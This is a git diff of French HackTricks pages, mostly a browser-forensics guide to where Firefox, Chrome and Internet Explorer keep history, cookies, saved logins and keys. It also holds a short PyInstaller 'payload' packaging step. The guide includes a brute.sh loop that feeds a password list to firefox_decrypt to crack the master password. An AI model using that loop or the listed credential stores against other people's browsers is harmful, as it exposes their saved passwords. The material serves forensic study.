PyInstaller : 1. Installez PyInstaller en utilisant pip (pip install pyinstaller). -2. Ensuite, nous exécuterons la commande « pyinstaller --onefile hello.py » (rappelons que 'hello.py' est notre payload). Cela regroupera tout dans un seul exécutable. +2. Ensuite, nous allons exécuter la commande "pyinstaller --onefile hello.py" (un rappel que 'hello.py' est notre charge utile). Cela regroupera tout en un exécutable. ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -213,22 +213,22 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py * [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) - + -Si vous êtes intéressé par une **carrière en hacking** et par hacker l'inviolable - **nous recrutons !** (_polonais courant écrit et parlé requis_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). {% embed url="https://www.stmcyber.com/careers" %}
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 06372566f..3389d41c8 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,20 +1,19 @@ -```markdown
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-Ici, vous pouvez trouver des astuces intéressantes pour des types de fichiers spécifiques et/ou des logiciels : +Ici, vous trouverez des astuces intéressantes pour des types de fichiers spécifiques et/ou des logiciels : {% page-ref page=".pyc.md" %} @@ -40,15 +39,14 @@ Ici, vous pouvez trouver des astuces intéressantes pour des types de fichiers s
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-``` diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index dda1bb1a2..a382c82f7 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,93 +1,93 @@ -# Artéfacts de Navigateur +# Artéfacts du navigateur
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés**.\ -Accédez-y dès aujourd'hui : +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Artéfacts des Navigateurs +## Artéfacts des navigateurs -Quand nous parlons d'artéfacts de navigateur, nous faisons référence à l'historique de navigation, aux favoris, à la liste des fichiers téléchargés, aux données en cache, etc. +Lorsque nous parlons des artéfacts des navigateurs, nous parlons de l'historique de navigation, des favoris, de la liste des fichiers téléchargés, des données de cache, etc. -Ces artéfacts sont des fichiers stockés dans des dossiers spécifiques du système d'exploitation. +Ces artéfacts sont des fichiers stockés à l'intérieur de dossiers spécifiques dans le système d'exploitation. -Chaque navigateur stocke ses fichiers dans un emplacement différent des autres navigateurs et ils ont tous des noms différents, mais ils stockent tous (la plupart du temps) le même type de données (artéfacts). +Chaque navigateur stocke ses fichiers à un endroit différent des autres navigateurs et ils ont tous des noms différents, mais ils stockent tous (la plupart du temps) le même type de données (artéfacts). -Examinons les artéfacts les plus couramment stockés par les navigateurs. +Jetons un coup d'œil aux artéfacts les plus courants stockés par les navigateurs. -* **Historique de Navigation :** Contient des données sur l'historique de navigation de l'utilisateur. Peut être utilisé pour vérifier si l'utilisateur a visité des sites malveillants par exemple. -* **Données d'Autocomplétion :** Ce sont les données que le navigateur suggère en fonction de ce que vous recherchez le plus. Peut être utilisé en tandem avec l'historique de navigation pour obtenir plus d'informations. -* **Favoris :** Explicite. -* **Extensions et Add-ons :** Explicite. -* **Cache :** Lors de la navigation sur des sites web, le navigateur crée toutes sortes de données en cache (images, fichiers javascript, etc.) pour de nombreuses raisons. Par exemple, pour accélérer le temps de chargement des sites web. Ces fichiers en cache peuvent être une excellente source de données lors d'une enquête forensique. -* **Connexions :** Explicite. -* **Favicons :** Ce sont les petites icônes trouvées dans les onglets, les URL, les favoris, etc. Elles peuvent être utilisées comme une autre source pour obtenir plus d'informations sur le site web ou les endroits visités par l'utilisateur. -* **Sessions de Navigateur :** Explicite. -* **Téléchargements :** Explicite. -* **Données de Formulaire :** Tout ce qui est tapé dans les formulaires est souvent stocké par le navigateur, de sorte que la prochaine fois que l'utilisateur saisit quelque chose dans un formulaire, le navigateur peut suggérer des données précédemment entrées. -* **Miniatures :** Explicite. -* **Custom Dictionary.txt :** Mots ajoutés au dictionnaire par l'utilisateur. +* **Historique de navigation :** Contient des données sur l'historique de navigation de l'utilisateur. Peut être utilisé pour suivre si l'utilisateur a visité des sites malveillants par exemple. +* **Données d'autocomplétion :** Ce sont les données que le navigateur suggère en fonction de ce que vous recherchez le plus. Peut être utilisé en tandem avec l'historique de navigation pour obtenir plus d'informations. +* **Favoris :** Auto-explicatif. +* **Extensions et modules complémentaires :** Auto-explicatif. +* **Cache :** Lors de la navigation sur des sites Web, le navigateur crée toutes sortes de données de cache (images, fichiers JavaScript, etc.) pour de nombreuses raisons. Par exemple, pour accélérer le temps de chargement des sites Web. Ces fichiers de cache peuvent être une excellente source de données lors d'une enquête forensique. +* **Connexions :** Auto-explicatif. +* **Favicons :** Ce sont les petits icônes trouvés dans les onglets, les URL, les favoris, etc. Ils peuvent être utilisés comme une autre source pour obtenir plus d'informations sur le site Web ou les endroits visités par l'utilisateur. +* **Sessions du navigateur :** Auto-explicatif. +* **Téléchargements :** Auto-explicatif. +* **Données de formulaire :** Tout ce qui est tapé dans les formulaires est souvent stocké par le navigateur, de sorte que la prochaine fois que l'utilisateur entre quelque chose dans un formulaire, le navigateur peut suggérer des données précédemment saisies. +* **Miniatures :** Auto-explicatif. +* **Dictionnaire personnalisé.txt :** Mots ajoutés au dictionnaire par l'utilisateur. ## Firefox Firefox crée le dossier des profils dans \~/_**.mozilla/firefox/**_ (Linux), dans **/Users/$USER/Library/Application Support/Firefox/Profiles/** (MacOS), _**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\\**_ (Windows)_**.**_\ -Dans ce dossier, le fichier _**profiles.ini**_ devrait apparaître avec le(s) nom(s) du ou des profil(s) utilisateur(s).\ -Chaque profil a une variable "**Path**" avec le nom du dossier où ses données vont être stockées. Le dossier devrait être **présent dans le même répertoire où le \_profiles.ini**\_\*\* existe\*\*. S'il ne l'est pas, alors, probablement il a été supprimé. +À l'intérieur de ce dossier, le fichier _**profiles.ini**_ devrait apparaître avec le(s) nom(s) du(des) profil(s) utilisateur.\ +Chaque profil a une variable "**Chemin**" avec le nom du dossier où ses données vont être stockées. Le dossier devrait être **présent dans le même répertoire que le \_profiles.ini**\_\*\* existent\*\*. S'il ne l'est pas, alors, probablement il a été supprimé. -Dans le dossier **de chaque profil** (_\~/.mozilla/firefox/\/_) vous devriez pouvoir trouver les fichiers intéressants suivants : +À l'intérieur du dossier **de chaque profil** (_\~/.mozilla/firefox/\/_) vous devriez pouvoir trouver les fichiers intéressants suivants : -* _**places.sqlite**_ : Historique (moz\_\_places), favoris (moz\_bookmarks), et téléchargements (moz\_\_annos). Sous Windows, l'outil [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) peut être utilisé pour lire l'historique dans _**places.sqlite**_. +* _**places.sqlite**_ : Historique (moz\_\_places), favoris (moz\_bookmarks) et téléchargements (moz\_\_annos). Sous Windows, l'outil [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) peut être utilisé pour lire l'historique à l'intérieur de _**places.sqlite**_. * Requête pour extraire l'historique : `select datetime(lastvisitdate/1000000,'unixepoch') as visit_date, url, title, visit_count, visit_type FROM moz_places,moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id;` * Notez qu'un type de lien est un nombre qui indique : -* 1: L'utilisateur a suivi un lien -* 2: L'utilisateur a écrit l'URL -* 3: L'utilisateur a utilisé un favori -* 4: Chargé depuis un Iframe -* 5: Accédé via une redirection HTTP 301 -* 6: Accédé via une redirection HTTP 302 -* 7: Fichier téléchargé -* 8: L'utilisateur a suivi un lien dans un Iframe +* 1 : L'utilisateur a suivi un lien +* 2 : L'utilisateur a saisi l'URL +* 3 : L'utilisateur a utilisé un favori +* 4 : Chargé depuis un Iframe +* 5 : Accédé via une redirection HTTP 301 +* 6 : Accédé via une redirection HTTP 302 +* 7 : Fichier téléchargé +* 8 : L'utilisateur a suivi un lien à l'intérieur d'un Iframe * Requête pour extraire les téléchargements : `SELECT datetime(lastModified/1000000,'unixepoch') AS down_date, content as File, url as URL FROM moz_places, moz_annos WHERE moz_places.id = moz_annos.place_id;` * * _**bookmarkbackups/**_ : Sauvegardes des favoris -* _**formhistory.sqlite**_ : **Données de formulaire web** (comme les emails) -* _**handlers.json**_ : Gestionnaires de protocole (comme, quelle application va gérer le protocole _mailto://_) +* _**formhistory.sqlite**_ : **Données de formulaire Web** (comme les e-mails) +* _**handlers.json**_ : Gestionnaires de protocole (par exemple, quelle application va gérer le protocole _mailto://_) * _**persdict.dat**_ : Mots ajoutés au dictionnaire -* _**addons.json**_ et \_**extensions.sqlite** \_ : Addons et extensions installés -* _**cookies.sqlite**_ : Contient **les cookies.** [**MZCookiesView**](https://www.nirsoft.net/utils/mzcv.html) peut être utilisé sous Windows pour inspecter ce fichier. -* _**cache2/entries**_ ou _**startupCache**_ : Données en cache (\~350MB). Des astuces comme le **data carving** peuvent également être utilisées pour obtenir les fichiers sauvegardés dans le cache. [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) peut être utilisé pour voir les **fichiers sauvegardés dans le cache**. +* _**addons.json**_ et \_**extensions.sqlite** \_ : Modules complémentaires et extensions installés +* _**cookies.sqlite**_ : Contient les **cookies**. [**MZCookiesView**](https://www.nirsoft.net/utils/mzcv.html) peut être utilisé sous Windows pour inspecter ce fichier. +* _**cache2/entries**_ ou _**startupCache**_ : Données de cache (\~350 Mo). Des astuces comme le **carving de données** peuvent également être utilisées pour obtenir les fichiers enregistrés dans le cache. [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) peut être utilisé pour voir les **fichiers enregistrés dans le cache**. -Informations qui peuvent être obtenues : +Informations pouvant être obtenues : -* URL, nombre de récupérations, nom de fichier, type de contenu, taille de fichier, heure de dernière modification, heure de dernière récupération, dernière modification du serveur, réponse du serveur +* URL, nombre de requêtes, nom de fichier, type de contenu, taille du fichier, heure de dernière modification, heure de dernière requête, dernière modification du serveur, réponse du serveur * _**favicons.sqlite**_ : Favicons * _**prefs.js**_ : Paramètres et préférences -* _**downloads.sqlite**_ : Ancienne base de données de téléchargements (maintenant c'est dans places.sqlite) +* _**downloads.sqlite**_ : Ancienne base de données de téléchargements (maintenant elle est à l'intérieur de places.sqlite) * _**thumbnails/**_ : Miniatures * _**logins.json**_ : Noms d'utilisateur et mots de passe chiffrés -* **Anti-phishing intégré au navigateur :** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js` -* Retournera "safebrowsing.malware.enabled" et "phishing.enabled" comme faux si les paramètres de recherche sécurisée ont été désactivés -* _**key4.db**_ ou _**key3.db**_ : Clé principale ? +* **Antiphishing intégré du navigateur :** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js` +* Renvoie "safebrowsing.malware.enabled" et "phishing.enabled" comme faux si les paramètres de recherche sécurisée ont été désactivés +* _**key4.db**_ ou _**key3.db**_ : Clé maîtresse ? -Pour essayer de décrypter le mot de passe principal, vous pouvez utiliser [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -Avec le script suivant et l'appel, vous pouvez spécifier un fichier de mots de passe pour forcer le brute force : +Pour essayer de décrypter le mot de passe principal, vous pouvez utiliser [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\ +Avec le script et l'appel suivants, vous pouvez spécifier un fichier de mot de passe pour la force brute : {% code title="brute.sh" %} ```bash @@ -100,77 +100,76 @@ echo "Trying $pass" echo "$pass" | python firefox_decrypt.py done < $passfile ``` -```markdown {% endcode %} ![](<../../../.gitbook/assets/image (417).png>) ## Google Chrome -Google Chrome crée le profil dans le répertoire personnel de l'utilisateur _**\~/.config/google-chrome/**_ (Linux), dans _**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_ (Windows), ou dans _**/Users/$USER/Library/Application Support/Google/Chrome/**_ (MacOS). -La plupart des informations seront sauvegardées dans les dossiers _**Default/**_ ou _**ChromeDefaultData/**_ dans les chemins indiqués précédemment. Vous pouvez y trouver les fichiers intéressants suivants : +Google Chrome crée le profil à l'intérieur du répertoire de l'utilisateur _**\~/.config/google-chrome/**_ (Linux), dans _**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_ (Windows), ou dans \_**/Users/$USER/Library/Application Support/Google/Chrome/** \_ (MacOS).\ +La plupart des informations seront enregistrées à l'intérieur des dossiers _**Default/**_ ou _**ChromeDefaultData/**_ dans les chemins indiqués précédemment. Vous pouvez trouver les fichiers intéressants suivants ici : -* _**History**_ : URLs, téléchargements et même mots-clés recherchés. Sous Windows, vous pouvez utiliser l'outil [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) pour lire l'historique. La colonne "Type de Transition" signifie : - * Link : L'utilisateur a cliqué sur un lien - * Typed : L'URL a été saisie - * Auto Bookmark - * Auto Subframe : Ajout - * Start page : Page d'accueil - * Form Submit : Un formulaire a été rempli et envoyé - * Reloaded -* _**Cookies**_ : Cookies. [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) peut être utilisé pour inspecter les cookies. -* _**Cache**_ : Cache. Sous Windows, vous pouvez utiliser l'outil [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) pour inspecter le cache. -* _**Bookmarks**_ : Favoris -* _**Web Data**_ : Historique des formulaires -* _**Favicons**_ : Favicons -* _**Login Data**_ : Informations de connexion (noms d'utilisateur, mots de passe...) -* _**Current Session**_ et _**Current Tabs**_ : Données de la session actuelle et onglets actuels -* _**Last Session**_ et _**Last Tabs**_ : Ces fichiers contiennent les sites qui étaient actifs dans le navigateur lorsque Chrome a été fermé pour la dernière fois. -* _**Extensions**_ : Dossier des extensions et addons -* **Thumbnails** : Miniatures -* **Preferences** : Ce fichier contient une multitude de bonnes informations telles que les plugins, les extensions, les sites utilisant la géolocalisation, les popups, les notifications, le préchargement DNS, les exceptions de certificat, et bien plus encore. Si vous essayez de rechercher si un paramètre Chrome spécifique était activé, vous trouverez probablement ce paramètre ici. -* **Protection anti-hameçonnage intégrée au navigateur :** `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` -* Vous pouvez simplement rechercher "**safebrowsing**" et chercher `{"enabled: true,"}` dans le résultat pour indiquer que la protection anti-hameçonnage et contre les logiciels malveillants est activée. +* _**History**_: URLs, téléchargements et même mots-clés recherchés. Sous Windows, vous pouvez utiliser l'outil [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) pour lire l'historique. La colonne "Type de transition" signifie : +* Lien : L'utilisateur a cliqué sur un lien +* Saisi : L'URL a été écrite +* Signet automatique +* Sous-cadre automatique : Ajouter +* Page de démarrage : Page d'accueil +* Soumettre un formulaire : Un formulaire a été rempli et envoyé +* Rechargé +* _**Cookies**_: Cookies. [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) peut être utilisé pour inspecter les cookies. +* _**Cache**_: Cache. Sous Windows, vous pouvez utiliser l'outil [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) pour inspecter le cache. +* _**Signets**_: Signets +* _**Données Web**_: Historique des formulaires +* _**Favicons**_: Favicons +* _**Données de connexion**_: Informations de connexion (noms d'utilisateur, mots de passe...) +* _**Session actuelle**_ et _**Onglets actuels**_: Données de session actuelle et onglets actuels +* _**Dernière session**_ et _**Derniers onglets**_: Ces fichiers contiennent les sites qui étaient actifs dans le navigateur lorsque Chrome a été fermé pour la dernière fois. +* _**Extensions**_: Dossier des extensions et des modules complémentaires +* **Vignettes** : Vignettes +* **Préférences** : Ce fichier contient une multitude d'informations utiles telles que les plugins, les extensions, les sites utilisant la géolocalisation, les popups, les notifications, le prefetching DNS, les exceptions de certificat, et bien plus encore. Si vous essayez de vérifier si un paramètre spécifique de Chrome était activé, vous le trouverez probablement dans ce fichier. +* **Anti-hameçonnage intégré du navigateur :** `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` +* Vous pouvez simplement rechercher "safebrowsing" et chercher `{"enabled: true,"}` dans le résultat pour indiquer que la protection contre le hameçonnage et les logiciels malveillants est activée. -## **Récupération de données SQLite DB** +## **Récupération de données de base de données SQLite** -Comme vous pouvez le constater dans les sections précédentes, Chrome et Firefox utilisent tous deux des bases de données **SQLite** pour stocker les données. Il est possible de **récupérer des entrées supprimées en utilisant l'outil** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ou** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +Comme vous pouvez l'observer dans les sections précédentes, Chrome et Firefox utilisent tous deux des bases de données **SQLite** pour stocker les données. Il est possible de **récupérer des entrées supprimées en utilisant l'outil** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ou** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). ## **Internet Explorer 11** -Internet Explorer stocke les **données** et les **métadonnées** dans différents emplacements. Les métadonnées permettront de trouver les données. +Internet Explorer stocke **des données** et **des métadonnées** à différents emplacements. Les métadonnées permettront de trouver les données. -Les **métadonnées** peuvent être trouvées dans le dossier `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` où VX peut être V01, V16 ou V24. -Dans le dossier précédent, vous pouvez également trouver le fichier V01.log. Si le **temps modifié** de ce fichier et du fichier WebcacheVX.data **sont différents**, vous devrez peut-être exécuter la commande `esentutl /r V01 /d` pour **corriger** d'éventuelles **incompatibilités**. +Les **métadonnées** peuvent être trouvées dans le dossier `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` où VX peut être V01, V16 ou V24.\ +Dans le dossier précédent, vous pouvez également trouver le fichier V01.log. Si l'**heure de modification** de ce fichier et du fichier WebcacheVX.data **sont différentes**, vous devrez peut-être exécuter la commande `esentutl /r V01 /d` pour **corriger** d'éventuelles **incompatibilités**. -Une fois cet artefact **récupéré** (c'est une base de données ESE, photorec peut la récupérer avec les options Exchange Database ou EDB), vous pouvez utiliser le programme [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) pour l'ouvrir. Une fois **ouvert**, allez à la table nommée "**Containers**". +Une fois cet artefact récupéré (il s'agit d'une base de données ESE, photorec peut la récupérer avec les options Base de données Exchange ou EDB), vous pouvez utiliser le programme [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) pour l'ouvrir. Une fois **ouvert**, accédez à la table nommée "**Containers**". ![](<../../../.gitbook/assets/image (446).png>) -Dans cette table, vous pouvez trouver dans quelles autres tables ou conteneurs chaque partie des informations stockées est sauvegardée. En suivant cela, vous pouvez trouver les **emplacements des données** stockées par les navigateurs et les **métadonnées** qui sont à l'intérieur. +Dans cette table, vous pouvez trouver dans quels autres tables ou conteneurs chaque partie des informations stockées est enregistrée. En suivant cela, vous pouvez trouver les **emplacements des données** stockées par les navigateurs et les **métadonnées** qui s'y trouvent. -**Notez que cette table indique également les métadonnées du cache pour d'autres outils Microsoft (par exemple, skype)** +**Notez que cette table indique les métadonnées du cache pour d'autres outils Microsoft également (par exemple, skype)** ### Cache -Vous pouvez utiliser l'outil [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) pour inspecter le cache. Vous devez indiquer le dossier où vous avez extrait les données du cache. +Vous pouvez utiliser l'outil [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) pour inspecter le cache. Vous devez indiquer le dossier où vous avez extrait les données du cache. #### Métadonnées Les informations de métadonnées sur le cache stockent : * Nom de fichier sur le disque -* SecureDIrectory : Emplacement du fichier dans les répertoires de cache -* AccessCount : Nombre de fois qu'il a été enregistré dans le cache +* SecureDIrectory : Emplacement du fichier à l'intérieur des répertoires de cache +* AccessCount : Nombre de fois où il a été enregistré dans le cache * URL : L'origine de l'URL * CreationTime : Première fois qu'il a été mis en cache * AccessedTime : Moment où le cache a été utilisé -* ModifiedTime : Dernière version de la page Web +* ModifiedTime : Dernière version de la page web * ExpiryTime : Moment où le cache expirera #### Fichiers -Les informations du cache peuvent être trouvées dans _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5**_ et _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\low**_ +Les informations de cache peuvent être trouvées dans _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5**_ et _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\low**_ Les informations à l'intérieur de ces dossiers sont un **instantané de ce que l'utilisateur voyait**. Les caches ont une taille de **250 Mo** et les horodatages indiquent quand la page a été visitée (première fois, date de création du NTFS, dernière fois, heure de modification du NTFS). @@ -180,15 +179,15 @@ Vous pouvez utiliser l'outil [IECookiesView](https://www.nirsoft.net/utils/iecoo #### **Métadonnées** -Les informations de métadonnées sur les cookies stockés : +Les informations de métadonnées sur les cookies stockées : * Nom du cookie dans le système de fichiers * URL -* AccessCount : Nombre de fois que les cookies ont été envoyés au serveur +* AccessCount : Nombre de fois où les cookies ont été envoyés au serveur * CreationTime : Première fois que le cookie a été créé * ModifiedTime : Dernière fois que le cookie a été modifié -* AccessedTime : Dernière fois que le cookie a été accédé -* ExpiryTime : Moment d'expiration du cookie +* AccessedTime : Dernière fois que le cookie a été consulté +* ExpiryTime : Heure d'expiration du cookie #### Fichiers @@ -200,11 +199,11 @@ Les cookies de session résideront en mémoire et les cookies persistants sur le #### **Métadonnées** -En vérifiant l'outil [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), vous pouvez trouver le conteneur avec les métadonnées des téléchargements : +En consultant l'outil [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), vous pouvez trouver le conteneur avec les métadonnées des téléchargements : ![](<../../../.gitbook/assets/image 